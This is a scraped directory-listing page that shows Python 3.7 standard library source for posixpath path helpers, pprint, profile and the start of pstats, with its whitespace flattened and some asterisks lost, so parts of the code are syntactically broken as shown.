continue if name == pardir: # parent dir if path: path, name = split(path) if name == pardir: path = join(path, pardir, pardir) else: path = pardir continue newpath = join(path, name) if not islink(newpath): path = newpath continue # Resolve the symbolic link if newpath in seen: # Already seen this path path = seen[newpath] if path is not None: # use cached value continue # The symlink is not resolved, so we must have a symlink loop. # Return already resolved part + rest of the path unchanged. return join(newpath, rest), False seen[newpath] = None # not resolved symlink path, ok = _joinrealpath(path, os.readlink(newpath), seen) if not ok: return join(path, rest), False seen[newpath] = path # resolved symlink return path, True supports_unicode_filenames = (sys.platform == 'darwin') def relpath(path, start=None): """Return a relative version of a path""" if not path: raise ValueError("no path specified") path = os.fspath(path) if isinstance(path, bytes): curdir = b'.' sep = b'/' pardir = b'..' else: curdir = '.' sep = '/' pardir = '..' if start is None: start = curdir else: start = os.fspath(start) try: start_list = [x for x in abspath(start).split(sep) if x] path_list = [x for x in abspath(path).split(sep) if x] # Work out how much of the filepath is shared by start and path. i = len(commonprefix([start_list, path_list])) rel_list = [pardir] (len(start_list)-i) + path_list[i:] if not rel_list: return curdir return join(rel_list) except (TypeError, AttributeError, BytesWarning, DeprecationWarning): genericpath._check_arg_types('relpath', path, start) raise # Return the longest common sub-path of the sequence of paths given as input. # The paths are not normalized before comparing them (this is the # responsibility of the caller). Any trailing separator is stripped from the # returned path. def commonpath(paths): """Given a sequence of path names, returns the longest common sub-path.""" if not paths: raise ValueError('commonpath() arg is an empty sequence') paths = tuple(map(os.fspath, paths)) if isinstance(paths[0], bytes): sep = b'/' curdir = b'.' else: sep = '/' curdir = '.' try: split_paths = [path.split(sep) for path in paths] try: isabs, = set(p[:1] == sep for p in paths) except ValueError: raise ValueError("Can't mix absolute and relative paths") from None split_paths = [[c for c in s if c and c != curdir] for s in split_paths] s1 = min(split_paths) s2 = max(split_paths) common = s1 for i, c in enumerate(s1): if c != s2[i]: common = s1[:i] break prefix = sep if isabs else sep[:0] return prefix + sep.join(common) except (TypeError, AttributeError): genericpath._check_arg_types('commonpath', paths) raise	15.4 KB	2024-04-17 17:55
📄 pprint.py # Author: Fred L. Drake, Jr. # fdrake@acm.org # # This is a simple little module I wrote to make life easier. I didn't # see anything quite like it in the library, though I may have overlooked # something. I wrote this when I was trying to read some heavily nested # tuples with fairly non-descriptive content. This is modeled very much # after Lisp/Scheme - style pretty-printing of lists. If you find it # useful, thank small children who sleep at night. """Support to pretty-print lists, tuples, & dictionaries recursively. Very simple, but useful, especially in debugging data structures. Classes ------- PrettyPrinter() Handle pretty-printing operations onto a stream using a configured set of formatting parameters. Functions --------- pformat() Format a Python object into a pretty-printed representation. pprint() Pretty-print a Python object to a stream [default is sys.stdout]. saferepr() Generate a 'standard' repr()-like value, but protect against recursive data structures. """ import collections as _collections import re import sys as _sys import types as _types from io import StringIO as _StringIO __all__ = ["pprint","pformat","isreadable","isrecursive","saferepr", "PrettyPrinter"] def pprint(object, stream=None, indent=1, width=80, depth=None, , compact=False): """Pretty-print a Python object to a stream [default is sys.stdout].""" printer = PrettyPrinter( stream=stream, indent=indent, width=width, depth=depth, compact=compact) printer.pprint(object) def pformat(object, indent=1, width=80, depth=None, , compact=False): """Format a Python object into a pretty-printed representation.""" return PrettyPrinter(indent=indent, width=width, depth=depth, compact=compact).pformat(object) def saferepr(object): """Version of repr() which can handle recursive data structures.""" return _safe_repr(object, {}, None, 0)[0] def isreadable(object): """Determine if saferepr(object) is readable by eval().""" return _safe_repr(object, {}, None, 0)[1] def isrecursive(object): """Determine if object requires a recursive representation.""" return _safe_repr(object, {}, None, 0)[2] class _safe_key: """Helper function for key functions when sorting unorderable objects. The wrapped-object will fallback to a Py2.x style comparison for unorderable types (sorting first comparing the type name and then by the obj ids). Does not work recursively, so dict.items() must have _safe_key applied to both the key and the value. """ __slots__ = ['obj'] def __init__(self, obj): self.obj = obj def __lt__(self, other): try: return self.obj < other.obj except TypeError: return ((str(type(self.obj)), id(self.obj)) < \ (str(type(other.obj)), id(other.obj))) def _safe_tuple(t): "Helper function for comparing 2-tuples" return _safe_key(t[0]), _safe_key(t[1]) class PrettyPrinter: def __init__(self, indent=1, width=80, depth=None, stream=None, , compact=False): """Handle pretty printing operations onto a stream using a set of configured parameters. indent Number of spaces to indent for each level of nesting. width Attempted maximum number of columns in the output. depth The maximum depth to print out nested structures. stream The desired output stream. If omitted (or false), the standard output stream available at construction will be used. compact If true, several items will be combined in one line. """ indent = int(indent) width = int(width) if indent < 0: raise ValueError('indent must be >= 0') if depth is not None and depth <= 0: raise ValueError('depth must be > 0') if not width: raise ValueError('width must be != 0') self._depth = depth self._indent_per_level = indent self._width = width if stream is not None: self._stream = stream else: self._stream = _sys.stdout self._compact = bool(compact) def pprint(self, object): self._format(object, self._stream, 0, 0, {}, 0) self._stream.write("\n") def pformat(self, object): sio = _StringIO() self._format(object, sio, 0, 0, {}, 0) return sio.getvalue() def isrecursive(self, object): return self.format(object, {}, 0, 0)[2] def isreadable(self, object): s, readable, recursive = self.format(object, {}, 0, 0) return readable and not recursive def _format(self, object, stream, indent, allowance, context, level): objid = id(object) if objid in context: stream.write(_recursion(object)) self._recursive = True self._readable = False return rep = self._repr(object, context, level) max_width = self._width - indent - allowance if len(rep) > max_width: p = self._dispatch.get(type(object).__repr__, None) if p is not None: context[objid] = 1 p(self, object, stream, indent, allowance, context, level + 1) del context[objid] return elif isinstance(object, dict): context[objid] = 1 self._pprint_dict(object, stream, indent, allowance, context, level + 1) del context[objid] return stream.write(rep) _dispatch = {} def _pprint_dict(self, object, stream, indent, allowance, context, level): write = stream.write write('{') if self._indent_per_level > 1: write((self._indent_per_level - 1) ' ') length = len(object) if length: items = sorted(object.items(), key=_safe_tuple) self._format_dict_items(items, stream, indent, allowance + 1, context, level) write('}') _dispatch[dict.__repr__] = _pprint_dict def _pprint_ordered_dict(self, object, stream, indent, allowance, context, level): if not len(object): stream.write(repr(object)) return cls = object.__class__ stream.write(cls.__name__ + '(') self._format(list(object.items()), stream, indent + len(cls.__name__) + 1, allowance + 1, context, level) stream.write(')') _dispatch[_collections.OrderedDict.__repr__] = _pprint_ordered_dict def _pprint_list(self, object, stream, indent, allowance, context, level): stream.write('[') self._format_items(object, stream, indent, allowance + 1, context, level) stream.write(']') _dispatch[list.__repr__] = _pprint_list def _pprint_tuple(self, object, stream, indent, allowance, context, level): stream.write('(') endchar = ',)' if len(object) == 1 else ')' self._format_items(object, stream, indent, allowance + len(endchar), context, level) stream.write(endchar) _dispatch[tuple.__repr__] = _pprint_tuple def _pprint_set(self, object, stream, indent, allowance, context, level): if not len(object): stream.write(repr(object)) return typ = object.__class__ if typ is set: stream.write('{') endchar = '}' else: stream.write(typ.__name__ + '({') endchar = '})' indent += len(typ.__name__) + 1 object = sorted(object, key=_safe_key) self._format_items(object, stream, indent, allowance + len(endchar), context, level) stream.write(endchar) _dispatch[set.__repr__] = _pprint_set _dispatch[frozenset.__repr__] = _pprint_set def _pprint_str(self, object, stream, indent, allowance, context, level): write = stream.write if not len(object): write(repr(object)) return chunks = [] lines = object.splitlines(True) if level == 1: indent += 1 allowance += 1 max_width1 = max_width = self._width - indent for i, line in enumerate(lines): rep = repr(line) if i == len(lines) - 1: max_width1 -= allowance if len(rep) <= max_width1: chunks.append(rep) else: # A list of alternating (non-space, space) strings parts = re.findall(r'\S\s', line) assert parts assert not parts[-1] parts.pop() # drop empty last part max_width2 = max_width current = '' for j, part in enumerate(parts): candidate = current + part if j == len(parts) - 1 and i == len(lines) - 1: max_width2 -= allowance if len(repr(candidate)) > max_width2: if current: chunks.append(repr(current)) current = part else: current = candidate if current: chunks.append(repr(current)) if len(chunks) == 1: write(rep) return if level == 1: write('(') for i, rep in enumerate(chunks): if i > 0: write('\n' + ' 'indent) write(rep) if level == 1: write(')') _dispatch[str.__repr__] = _pprint_str def _pprint_bytes(self, object, stream, indent, allowance, context, level): write = stream.write if len(object) <= 4: write(repr(object)) return parens = level == 1 if parens: indent += 1 allowance += 1 write('(') delim = '' for rep in _wrap_bytes_repr(object, self._width - indent, allowance): write(delim) write(rep) if not delim: delim = '\n' + ' 'indent if parens: write(')') _dispatch[bytes.__repr__] = _pprint_bytes def _pprint_bytearray(self, object, stream, indent, allowance, context, level): write = stream.write write('bytearray(') self._pprint_bytes(bytes(object), stream, indent + 10, allowance + 1, context, level + 1) write(')') _dispatch[bytearray.__repr__] = _pprint_bytearray def _pprint_mappingproxy(self, object, stream, indent, allowance, context, level): stream.write('mappingproxy(') self._format(object.copy(), stream, indent + 13, allowance + 1, context, level) stream.write(')') _dispatch[_types.MappingProxyType.__repr__] = _pprint_mappingproxy def _format_dict_items(self, items, stream, indent, allowance, context, level): write = stream.write indent += self._indent_per_level delimnl = ',\n' + ' ' * indent last_index = len(items) - 1 for i, (key, ent) in enumerate(items): last = i == last_index rep = self._repr(key, context, level) write(rep) write(': ') self._format(ent, stream, indent + len(rep) + 2, allowance if last else 1, context, level) if not last: write(delimnl) def _format_items(self, items, stream, indent, allowance, context, level): write = stream.write indent += self._indent_per_level if self._indent_per_level > 1: write((self._indent_per_level - 1) * ' ') delimnl = ',\n' + ' ' * indent delim = '' width = max_width = self._width - indent + 1 it = iter(items) try: next_ent = next(it) except StopIteration: return last = False while not last: ent = next_ent try: next_ent = next(it) except StopIteration: last = True max_width -= allowance width -= allowance if self._compact: rep = self._repr(ent, context, level) w = len(rep) + 2 if width < w: width = max_width if delim: delim = delimnl if width >= w: width -= w write(delim) delim = ', ' write(rep) continue write(delim) delim = delimnl self._format(ent, stream, indent, allowance if last else 1, context, level) def _repr(self, object, context, level): repr, readable, recursive = self.format(object, context.copy(), self._depth, level) if not readable: self._readable = False if recursive: self._recursive = True return repr def format(self, object, context, maxlevels, level): """Format object for a specific context, returning a string and flags indicating whether the representation is 'readable' and whether the object represents a recursive construct. """ return _safe_repr(object, context, maxlevels, level) def _pprint_default_dict(self, object, stream, indent, allowance, context, level): if not len(object): stream.write(repr(object)) return rdf = self._repr(object.default_factory, context, level) cls = object.__class__ indent += len(cls.__name__) + 1 stream.write('%s(%s,\n%s' % (cls.__name__, rdf, ' ' * indent)) self._pprint_dict(object, stream, indent, allowance + 1, context, level) stream.write(')') _dispatch[_collections.defaultdict.__repr__] = _pprint_default_dict def _pprint_counter(self, object, stream, indent, allowance, context, level): if not len(object): stream.write(repr(object)) return cls = object.__class__ stream.write(cls.__name__ + '({') if self._indent_per_level > 1: stream.write((self._indent_per_level - 1) * ' ') items = object.most_common() self._format_dict_items(items, stream, indent + len(cls.__name__) + 1, allowance + 2, context, level) stream.write('})') _dispatch[_collections.Counter.__repr__] = _pprint_counter def _pprint_chain_map(self, object, stream, indent, allowance, context, level): if not len(object.maps): stream.write(repr(object)) return cls = object.__class__ stream.write(cls.__name__ + '(') indent += len(cls.__name__) + 1 for i, m in enumerate(object.maps): if i == len(object.maps) - 1: self._format(m, stream, indent, allowance + 1, context, level) stream.write(')') else: self._format(m, stream, indent, 1, context, level) stream.write(',\n' + ' ' * indent) _dispatch[_collections.ChainMap.__repr__] = _pprint_chain_map def _pprint_deque(self, object, stream, indent, allowance, context, level): if not len(object): stream.write(repr(object)) return cls = object.__class__ stream.write(cls.__name__ + '(') indent += len(cls.__name__) + 1 stream.write('[') if object.maxlen is None: self._format_items(object, stream, indent, allowance + 2, context, level) stream.write('])') else: self._format_items(object, stream, indent, 2, context, level) rml = self._repr(object.maxlen, context, level) stream.write('],\n%smaxlen=%s)' % (' ' * indent, rml)) _dispatch[_collections.deque.__repr__] = _pprint_deque def _pprint_user_dict(self, object, stream, indent, allowance, context, level): self._format(object.data, stream, indent, allowance, context, level - 1) _dispatch[_collections.UserDict.__repr__] = _pprint_user_dict def _pprint_user_list(self, object, stream, indent, allowance, context, level): self._format(object.data, stream, indent, allowance, context, level - 1) _dispatch[_collections.UserList.__repr__] = _pprint_user_list def _pprint_user_string(self, object, stream, indent, allowance, context, level): self._format(object.data, stream, indent, allowance, context, level - 1) _dispatch[_collections.UserString.__repr__] = _pprint_user_string # Return triple (repr_string, isreadable, isrecursive). def _safe_repr(object, context, maxlevels, level): typ = type(object) if typ in _builtin_scalars: return repr(object), True, False r = getattr(typ, "__repr__", None) if issubclass(typ, dict) and r is dict.__repr__: if not object: return "{}", True, False objid = id(object) if maxlevels and level >= maxlevels: return "{...}", False, objid in context if objid in context: return _recursion(object), False, True context[objid] = 1 readable = True recursive = False components = [] append = components.append level += 1 saferepr = _safe_repr items = sorted(object.items(), key=_safe_tuple) for k, v in items: krepr, kreadable, krecur = saferepr(k, context, maxlevels, level) vrepr, vreadable, vrecur = saferepr(v, context, maxlevels, level) append("%s: %s" % (krepr, vrepr)) readable = readable and kreadable and vreadable if krecur or vrecur: recursive = True del context[objid] return "{%s}" % ", ".join(components), readable, recursive if (issubclass(typ, list) and r is list.__repr__) or \ (issubclass(typ, tuple) and r is tuple.__repr__): if issubclass(typ, list): if not object: return "[]", True, False format = "[%s]" elif len(object) == 1: format = "(%s,)" else: if not object: return "()", True, False format = "(%s)" objid = id(object) if maxlevels and level >= maxlevels: return format % "...", False, objid in context if objid in context: return _recursion(object), False, True context[objid] = 1 readable = True recursive = False components = [] append = components.append level += 1 for o in object: orepr, oreadable, orecur = _safe_repr(o, context, maxlevels, level) append(orepr) if not oreadable: readable = False if orecur: recursive = True del context[objid] return format % ", ".join(components), readable, recursive rep = repr(object) return rep, (rep and not rep.startswith('<')), False _builtin_scalars = frozenset({str, bytes, bytearray, int, float, complex, bool, type(None)}) def _recursion(object): return ("<Recursion on %s with id=%s>" % (type(object).__name__, id(object))) def _perfcheck(object=None): import time if object is None: object = [("string", (1, 2), [3, 4], {5: 6, 7: 8})] * 100000 p = PrettyPrinter() t1 = time.perf_counter() _safe_repr(object, {}, None, 0) t2 = time.perf_counter() p.pformat(object) t3 = time.perf_counter() print("_safe_repr:", t2 - t1) print("pformat:", t3 - t2) def _wrap_bytes_repr(object, width, allowance): current = b'' last = len(object) // 4 * 4 for i in range(0, len(object), 4): part = object[i: i+4] candidate = current + part if i == last: width -= allowance if len(repr(candidate)) > width: if current: yield repr(current) current = part else: current = candidate if current: yield repr(current) if __name__ == "__main__": _perfcheck()	20.39 KB	2024-04-17 17:55
📄 profile.py #! /opt/alt/python37/bin/python3.7 # # Class for profiling python code. rev 1.0 6/2/94 # # Written by James Roskind # Based on prior profile module by Sjoerd Mullender... # which was hacked somewhat by: Guido van Rossum """Class for profiling Python code.""" # Copyright Disney Enterprises, Inc. All Rights Reserved. # Licensed to PSF under a Contributor Agreement # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, # either express or implied. See the License for the specific language # governing permissions and limitations under the License. import sys import time import marshal __all__ = ["run", "runctx", "Profile"] # Sample timer for use with #i_count = 0 #def integer_timer(): # global i_count # i_count = i_count + 1 # return i_count #itimes = integer_timer # replace with C coded timer returning integers class _Utils: """Support class for utility functions which are shared by profile.py and cProfile.py modules. Not supposed to be used directly. """ def __init__(self, profiler): self.profiler = profiler def run(self, statement, filename, sort): prof = self.profiler() try: prof.run(statement) except SystemExit: pass finally: self._show(prof, filename, sort) def runctx(self, statement, globals, locals, filename, sort): prof = self.profiler() try: prof.runctx(statement, globals, locals) except SystemExit: pass finally: self._show(prof, filename, sort) def _show(self, prof, filename, sort): if filename is not None: prof.dump_stats(filename) else: prof.print_stats(sort) #************************************************************************** # The following are the static member functions for the profiler class # Note that an instance of Profile() is not needed to call them. #************************************************************************** def run(statement, filename=None, sort=-1): """Run statement under profiler optionally saving results in filename This function takes a single argument that can be passed to the "exec" statement, and an optional file name. In all cases this routine attempts to "exec" its first argument and gather profiling statistics from the execution. If no file name is present, then this function automatically prints a simple profiling report, sorted by the standard name string (file/line/function-name) that is presented in each line. """ return _Utils(Profile).run(statement, filename, sort) def runctx(statement, globals, locals, filename=None, sort=-1): """Run statement under profiler, supplying your own globals and locals, optionally saving results in filename. statement and filename have the same semantics as profile.run """ return _Utils(Profile).runctx(statement, globals, locals, filename, sort) class Profile: """Profiler class. self.cur is always a tuple. Each such tuple corresponds to a stack frame that is currently active (self.cur[-2]). The following are the definitions of its members. We use this external "parallel stack" to avoid contaminating the program that we are profiling. (old profiler used to write into the frames local dictionary!!) Derived classes can change the definition of some entries, as long as they leave [-2:] intact (frame and previous tuple). In case an internal error is detected, the -3 element is used as the function name. [ 0] = Time that needs to be charged to the parent frame's function. It is used so that a function call will not have to access the timing data for the parent frame. [ 1] = Total time spent in this frame's function, excluding time in subfunctions (this latter is tallied in cur[2]). [ 2] = Total time spent in subfunctions, excluding time executing the frame's function (this latter is tallied in cur[1]). [-3] = Name of the function that corresponds to this frame. [-2] = Actual frame that we correspond to (used to sync exception handling). [-1] = Our parent 6-tuple (corresponds to frame.f_back). Timing data for each function is stored as a 5-tuple in the dictionary self.timings[]. The index is always the name stored in self.cur[-3]. The following are the definitions of the members: [0] = The number of times this function was called, not counting direct or indirect recursion, [1] = Number of times this function appears on the stack, minus one [2] = Total time spent internal to this function [3] = Cumulative time that this function was present on the stack. In non-recursive functions, this is the total execution time from start to finish of each invocation of a function, including time spent in all subfunctions. [4] = A dictionary indicating for each function name, the number of times it was called by us. """ bias = 0 # calibration constant def __init__(self, timer=None, bias=None): self.timings = {} self.cur = None self.cmd = "" self.c_func_name = "" if bias is None: bias = self.bias self.bias = bias # Materialize in local dict for lookup speed. if not timer: self.timer = self.get_time = time.process_time self.dispatcher = self.trace_dispatch_i else: self.timer = timer t = self.timer() # test out timer function try: length = len(t) except TypeError: self.get_time = timer self.dispatcher = self.trace_dispatch_i else: if length == 2: self.dispatcher = self.trace_dispatch else: self.dispatcher = self.trace_dispatch_l # This get_time() implementation needs to be defined # here to capture the passed-in timer in the parameter # list (for performance). Note that we can't assume # the timer() result contains two values in all # cases. def get_time_timer(timer=timer, sum=sum): return sum(timer()) self.get_time = get_time_timer self.t = self.get_time() self.simulate_call('profiler') # Heavily optimized dispatch routine for time.process_time() timer def trace_dispatch(self, frame, event, arg): timer = self.timer t = timer() t = t[0] + t[1] - self.t - self.bias if event == "c_call": self.c_func_name = arg.__name__ if self.dispatch[event](self, frame,t): t = timer() self.t = t[0] + t[1] else: r = timer() self.t = r[0] + r[1] - t # put back unrecorded delta # Dispatch routine for best timer program (return = scalar, fastest if # an integer but float works too -- and time.process_time() relies on that). def trace_dispatch_i(self, frame, event, arg): timer = self.timer t = timer() - self.t - self.bias if event == "c_call": self.c_func_name = arg.__name__ if self.dispatch[event](self, frame, t): self.t = timer() else: self.t = timer() - t # put back unrecorded delta # Dispatch routine for macintosh (timer returns time in ticks of # 1/60th second) def trace_dispatch_mac(self, frame, event, arg): timer = self.timer t = timer()/60.0 - self.t - self.bias if event == "c_call": self.c_func_name = arg.__name__ if self.dispatch[event](self, frame, t): self.t = timer()/60.0 else: self.t = timer()/60.0 - t # put back unrecorded delta # SLOW generic dispatch routine for timer returning lists of numbers def trace_dispatch_l(self, frame, event, arg): get_time = self.get_time t = get_time() - self.t - self.bias if event == "c_call": self.c_func_name = arg.__name__ if self.dispatch[event](self, frame, t): self.t = get_time() else: self.t = get_time() - t # put back unrecorded delta # In the event handlers, the first 3 elements of self.cur are unpacked # into vrbls w/ 3-letter names. The last two characters are meant to be # mnemonic: # _pt self.cur[0] "parent time" time to be charged to parent frame # _it self.cur[1] "internal time" time spent directly in the function # _et self.cur[2] "external time" time spent in subfunctions def trace_dispatch_exception(self, frame, t): rpt, rit, ret, rfn, rframe, rcur = self.cur if (rframe is not frame) and rcur: return self.trace_dispatch_return(rframe, t) self.cur = rpt, rit+t, ret, rfn, rframe, rcur return 1 def trace_dispatch_call(self, frame, t): if self.cur and frame.f_back is not self.cur[-2]: rpt, rit, ret, rfn, rframe, rcur = self.cur if not isinstance(rframe, Profile.fake_frame): assert rframe.f_back is frame.f_back, ("Bad call", rfn, rframe, rframe.f_back, frame, frame.f_back) self.trace_dispatch_return(rframe, 0) assert (self.cur is None or \ frame.f_back is self.cur[-2]), ("Bad call", self.cur[-3]) fcode = frame.f_code fn = (fcode.co_filename, fcode.co_firstlineno, fcode.co_name) self.cur = (t, 0, 0, fn, frame, self.cur) timings = self.timings if fn in timings: cc, ns, tt, ct, callers = timings[fn] timings[fn] = cc, ns + 1, tt, ct, callers else: timings[fn] = 0, 0, 0, 0, {} return 1 def trace_dispatch_c_call (self, frame, t): fn = ("", 0, self.c_func_name) self.cur = (t, 0, 0, fn, frame, self.cur) timings = self.timings if fn in timings: cc, ns, tt, ct, callers = timings[fn] timings[fn] = cc, ns+1, tt, ct, callers else: timings[fn] = 0, 0, 0, 0, {} return 1 def trace_dispatch_return(self, frame, t): if frame is not self.cur[-2]: assert frame is self.cur[-2].f_back, ("Bad return", self.cur[-3]) self.trace_dispatch_return(self.cur[-2], 0) # Prefix "r" means part of the Returning or exiting frame. # Prefix "p" means part of the Previous or Parent or older frame. rpt, rit, ret, rfn, frame, rcur = self.cur rit = rit + t frame_total = rit + ret ppt, pit, pet, pfn, pframe, pcur = rcur self.cur = ppt, pit + rpt, pet + frame_total, pfn, pframe, pcur timings = self.timings cc, ns, tt, ct, callers = timings[rfn] if not ns: # This is the only occurrence of the function on the stack. # Else this is a (directly or indirectly) recursive call, and # its cumulative time will get updated when the topmost call to # it returns. ct = ct + frame_total cc = cc + 1 if pfn in callers: callers[pfn] = callers[pfn] + 1 # hack: gather more # stats such as the amount of time added to ct courtesy # of this specific call, and the contribution to cc # courtesy of this call. else: callers[pfn] = 1 timings[rfn] = cc, ns - 1, tt + rit, ct, callers return 1 dispatch = { "call": trace_dispatch_call, "exception": trace_dispatch_exception, "return": trace_dispatch_return, "c_call": trace_dispatch_c_call, "c_exception": trace_dispatch_return, # the C function returned "c_return": trace_dispatch_return, } # The next few functions play with self.cmd. By carefully preloading # our parallel stack, we can force the profiled result to include # an arbitrary string as the name of the calling function. # We use self.cmd as that string, and the resulting stats look # very nice :-). def set_cmd(self, cmd): if self.cur[-1]: return # already set self.cmd = cmd self.simulate_call(cmd) class fake_code: def __init__(self, filename, line, name): self.co_filename = filename self.co_line = line self.co_name = name self.co_firstlineno = 0 def __repr__(self): return repr((self.co_filename, self.co_line, self.co_name)) class fake_frame: def __init__(self, code, prior): self.f_code = code self.f_back = prior def simulate_call(self, name): code = self.fake_code('profile', 0, name) if self.cur: pframe = self.cur[-2] else: pframe = None frame = self.fake_frame(code, pframe) self.dispatch['call'](self, frame, 0) # collect stats from pending stack, including getting final # timings for self.cmd frame. def simulate_cmd_complete(self): get_time = self.get_time t = get_time() - self.t while self.cur[-1]: # We can cause assertion errors here if # dispatch_trace_return checks for a frame match! self.dispatch['return'](self, self.cur[-2], t) t = 0 self.t = get_time() - t def print_stats(self, sort=-1): import pstats pstats.Stats(self).strip_dirs().sort_stats(sort). \ print_stats() def dump_stats(self, file): with open(file, 'wb') as f: self.create_stats() marshal.dump(self.stats, f) def create_stats(self): self.simulate_cmd_complete() self.snapshot_stats() def snapshot_stats(self): self.stats = {} for func, (cc, ns, tt, ct, callers) in self.timings.items(): callers = callers.copy() nc = 0 for callcnt in callers.values(): nc += callcnt self.stats[func] = cc, nc, tt, ct, callers # The following two methods can be called by clients to use # a profiler to profile a statement, given as a string. def run(self, cmd): import __main__ dict = __main__.__dict__ return self.runctx(cmd, dict, dict) def runctx(self, cmd, globals, locals): self.set_cmd(cmd) sys.setprofile(self.dispatcher) try: exec(cmd, globals, locals) finally: sys.setprofile(None) return self # This method is more useful to profile a single function call. def runcall(args, kw): if len(args) >= 2: self, func, args = args elif not args: raise TypeError("descriptor 'runcall' of 'Profile' object " "needs an argument") elif 'func' in kw: func = kw.pop('func') self, args = args else: raise TypeError('runcall expected at least 1 positional argument, ' 'got %d' % (len(args)-1)) self.set_cmd(repr(func)) sys.setprofile(self.dispatcher) try: return func(args, kw) finally: sys.setprofile(None) #**************************************************************** # The following calculates the overhead for using a profiler. The # problem is that it takes a fair amount of time for the profiler # to stop the stopwatch (from the time it receives an event). # Similarly, there is a delay from the time that the profiler # re-starts the stopwatch before the user's code really gets to # continue. The following code tries to measure the difference on # a per-event basis. # # Note that this difference is only significant if there are a lot of # events, and relatively little user code per event. For example, # code with small functions will typically benefit from having the # profiler calibrated for the current platform. This could be # done on the fly during init() time, but it is not worth the # effort. Also note that if too large a value specified, then # execution time on some functions will actually appear as a # negative number. It is normal for some functions (with very # low call counts) to have such negative stats, even if the # calibration figure is "correct." # # One alternative to profile-time calibration adjustments (i.e., # adding in the magic little delta during each event) is to track # more carefully the number of events (and cumulatively, the number # of events during sub functions) that are seen. If this were # done, then the arithmetic could be done after the fact (i.e., at # display time). Currently, we track only call/return events. # These values can be deduced by examining the callees and callers # vectors for each functions. Hence we can almost correct the # internal time figure at print time (note that we currently don't # track exception event processing counts). Unfortunately, there # is currently no similar information for cumulative sub-function # time. It would not be hard to "get all this info" at profiler # time. Specifically, we would have to extend the tuples to keep # counts of this in each frame, and then extend the defs of timing # tuples to include the significant two figures. I'm a bit fearful # that this additional feature will slow the heavily optimized # event/time ratio (i.e., the profiler would run slower, fur a very # low "value added" feature.) #************************************************************ def calibrate(self, m, verbose=0): if self.__class__ is not Profile: raise TypeError("Subclasses must override .calibrate().") saved_bias = self.bias self.bias = 0 try: return self._calibrate_inner(m, verbose) finally: self.bias = saved_bias def _calibrate_inner(self, m, verbose): get_time = self.get_time # Set up a test case to be run with and without profiling. Include # lots of calls, because we're trying to quantify stopwatch overhead. # Do not raise any exceptions, though, because we want to know # exactly how many profile events are generated (one call event, + # one return event, per Python-level call). def f1(n): for i in range(n): x = 1 def f(m, f1=f1): for i in range(m): f1(100) f(m) # warm up the cache # elapsed_noprofile <- time f(m) takes without profiling. t0 = get_time() f(m) t1 = get_time() elapsed_noprofile = t1 - t0 if verbose: print("elapsed time without profiling =", elapsed_noprofile) # elapsed_profile <- time f(m) takes with profiling. The difference # is profiling overhead, only some of which the profiler subtracts # out on its own. p = Profile() t0 = get_time() p.runctx('f(m)', globals(), locals()) t1 = get_time() elapsed_profile = t1 - t0 if verbose: print("elapsed time with profiling =", elapsed_profile) # reported_time <- "CPU seconds" the profiler charged to f and f1. total_calls = 0.0 reported_time = 0.0 for (filename, line, funcname), (cc, ns, tt, ct, callers) in \ p.timings.items(): if funcname in ("f", "f1"): total_calls += cc reported_time += tt if verbose: print("'CPU seconds' profiler reported =", reported_time) print("total # calls =", total_calls) if total_calls != m + 1: raise ValueError("internal error: total calls = %d" % total_calls) # reported_time - elapsed_noprofile = overhead the profiler wasn't # able to measure. Divide by twice the number of calls (since there # are two profiler events per call in this test) to get the hidden # overhead per event. mean = (reported_time - elapsed_noprofile) / 2.0 / total_calls if verbose: print("mean stopwatch overhead per profile event =", mean) return mean #************************************************************************** def main(): import os from optparse import OptionParser usage = "profile.py [-o output_file_path] [-s sort] scriptfile [arg] ..." parser = OptionParser(usage=usage) parser.allow_interspersed_args = False parser.add_option('-o', '--outfile', dest="outfile", help="Save stats to <outfile>", default=None) parser.add_option('-s', '--sort', dest="sort", help="Sort order when printing to stdout, based on pstats.Stats class", default=-1) if not sys.argv[1:]: parser.print_usage() sys.exit(2) (options, args) = parser.parse_args() sys.argv[:] = args if len(args) > 0: progname = args[0] sys.path.insert(0, os.path.dirname(progname)) with open(progname, 'rb') as fp: code = compile(fp.read(), progname, 'exec') globs = { '__file__': progname, '__name__': '__main__', '__package__': None, '__cached__': None, } runctx(code, globs, None, options.outfile, options.sort) else: parser.print_usage() return parser # When invoked as main program, invoke the profiler on a script if __name__ == '__main__': main()	21.97 KB	2024-04-17 17:55
📄 pstats.py """Class for printing reports on profiled python code.""" # Written by James Roskind # Based on prior profile module by Sjoerd Mullender... # which was hacked somewhat by: Guido van Rossum # Copyright Disney Enterprises, Inc. All Rights Reserved. # Licensed to PSF under a Contributor Agreement # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, # either express or implied. See the License for the specific language # governing permissions and limitations under the License. import sys import os import time import marshal import re from enum import Enum from functools import cmp_to_key __all__ = ["Stats", "SortKey"] class SortKey(str, Enum): CALLS = 'calls', 'ncalls' CUMULATIVE = 'cumulative', 'cumtime' FILENAME = 'filename', 'module' LINE = 'line' NAME = 'name' NFL = 'nfl' PCALLS = 'pcalls' STDNAME = 'stdname' TIME = 'time', 'tottime' def __new__(cls, values): obj = str.__new__(cls) obj._value_ = values[0] for other_value in values[1:]: cls._value2member_map_[other_value] = obj obj._all_values = values return obj class Stats: """This class is used for creating reports from data generated by the Profile class. It is a "friend" of that class, and imports data either by direct access to members of Profile class, or by reading in a dictionary that was emitted (via marshal) from the Profile class. The big change from the previous Profiler (in terms of raw functionality) is that an "add()" method has been provided to combine Stats from several distinct profile runs. Both the constructor and the add() method now take arbitrarily many file names as arguments. All the print methods now take an argument that indicates how many lines to print. If the arg is a floating point number between 0 and 1.0, then it is taken as a decimal percentage of the available lines to be printed (e.g., .1 means print 10% of all available lines). If it is an integer, it is taken to mean the number of lines of data that you wish to have printed. The sort_stats() method now processes some additional options (i.e., in addition to the old -1, 0, 1, or 2 that are respectively interpreted as 'stdname', 'calls', 'time', and 'cumulative'). It takes either an arbitrary number of quoted strings or SortKey enum to select the sort order. For example sort_stats('time', 'name') or sort_stats(SortKey.TIME, SortKey.NAME) sorts on the major key of 'internal function time', and on the minor key of 'the name 